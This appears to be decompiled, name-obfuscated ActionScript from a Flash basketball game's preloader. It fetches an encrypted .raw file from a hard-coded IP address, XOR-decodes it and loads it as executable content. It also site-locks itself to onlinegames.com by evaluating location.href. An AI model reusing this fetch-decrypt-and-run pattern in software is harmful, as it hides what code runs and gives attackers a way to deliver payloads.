package
{
import flash.display.*;
import flash.events.*;
import flash.external.*;
import flash.net.*;
import flash.system.*;
import flash.utils.*;
public class MI extends Sprite
{
private var PJ:ByteArray;
private var UJ:Sprite = null;
private var RJ:D9;
private var QJ:Loader;
private var OJ:URLLoader;
private var TJ:Class;
private static var SJ:int = 0;
public function MI()
{
TJ = MI_TJ;
OI();
if (UJ != null)
{
return;
}
OJ = new URLLoader();
OJ.dataFormat = URLLoaderDataFormat.BINARY;
OJ.addEventListener(ProgressEvent.PROGRESS, BJ);
OJ.addEventListener(Event.COMPLETE, EJ);
OJ.load(new URLRequest("http://206.214.216.115/basketball/Basketball8.raw"));
ZI();
if (NI == 1)
{
this.stage.scaleMode = StageScaleMode.EXACT_FIT;
}
this.stage.quality = StageQuality.HIGH;
RJ = new D9();
this.addChild(RJ);
return;
}// end function
private function GJ() : void
{
var _loc_5:int = 0;
var _loc_6:int = 0;
var _loc_1:* = OJ.data;
var _loc_2:* = _loc_1.bytesAvailable;
PJ = new ByteArray();
var _loc_3:int = 83;
var _loc_4:int = 0;
while (_loc_4 < _loc_2)
{
_loc_5 = _loc_1.readByte() & 255;
_loc_6 = _loc_5 ^ _loc_3;
PJ.writeByte(_loc_6);
_loc_3 = _loc_5 * _loc_3 >> 4 & 255;
_loc_4++;
}
PJ.position = 0;
return;
}// end function
private function MJ(event:Event) : void
{
var _loc_2:Object = null;
if (QJ.content != null)
{
this.stage.addChild(QJ.content);
this.removeEventListener(Event.ENTER_FRAME, MJ);
_loc_2 = QJ.content;
_loc_2._W(RJ);
}
return;
}// end function
private function EJ(event:Event) : void
{
OJ.removeEventListener(ProgressEvent.PROGRESS, BJ);
OJ.removeEventListener(Event.COMPLETE, EJ);
GJ();
QJ = new Loader();
var _loc_2:* = new LoaderContext(false, ApplicationDomain.currentDomain);
QJ.loadBytes(PJ, _loc_2);
this.addEventListener(Event.ENTER_FRAME, MJ);
return;
}// end function
private function BJ(event:ProgressEvent) : void
{
var _loc_2:* = Number(event.bytesLoaded) / event.bytesTotal;
RJ.I9(_loc_2 * 0.5);
return;
}// end function
private function ZI() : void
{
var $J:String;
var AJ:Object;
var _J:Boolean;
try
{
if (ExternalInterface.available)
{
$J;
$J = ExternalInterface.call("eval", "location.href");
if ($J != null)
{
$J = $J.toLowerCase();
if ($J.indexOf("http://www.onlinegames.com/") == 0)
{
_J;
}
else if ($J.indexOf("http://onlinegames.com/") == 0)
{
_J;
}
}
}
else
{
_J;
}
}
catch (e:SecurityError)
{
_J;
;
}
catch (e:Error)
{
_J;
}
if (_J)
{
AJ = this.root.loaderInfo.parameters;
if (AJ.swfMode == 1)
{
SJ = 1;
}
else if (AJ.swfMode == 2)
{
SJ = 2;
}
}
return;
}// end function
private function XI(event:MouseEvent) : void
{
navigateToURL(new URLRequest("http://www.adobe.com/go/getflashplayer"), "_blank");
return;
}// end function
private function OI() : void
{
var _loc_3:String = null;
var _loc_4:Array = null;
var _loc_5:int = 0;
var _loc_6:int = 0;
var _loc_7:int = 0;
var _loc_1:* = Capabilities.version;
var _loc_2:* = _loc_1.indexOf(" ");
if (_loc_2 != -1)
{
_loc_3 = _loc_1.slice((_loc_2 + 1));
_loc_4 = _loc_3.split(",");
_loc_5 = int(_loc_4[0]);
_loc_6 = int(_loc_4[1]);
_loc_7 = int(_loc_4[2]);
if (_loc_5 < 10)
{
WI();
}
}
return;
}// end function
private function WI() : void
{
UJ = new TJ();
UJ.buttonMode = true;
UJ.addEventListener(MouseEvent.CLICK, XI);
this.addChild(UJ);
return;
}// end function
public static function get NI() : int
{
return SJ;
}// end function
}
}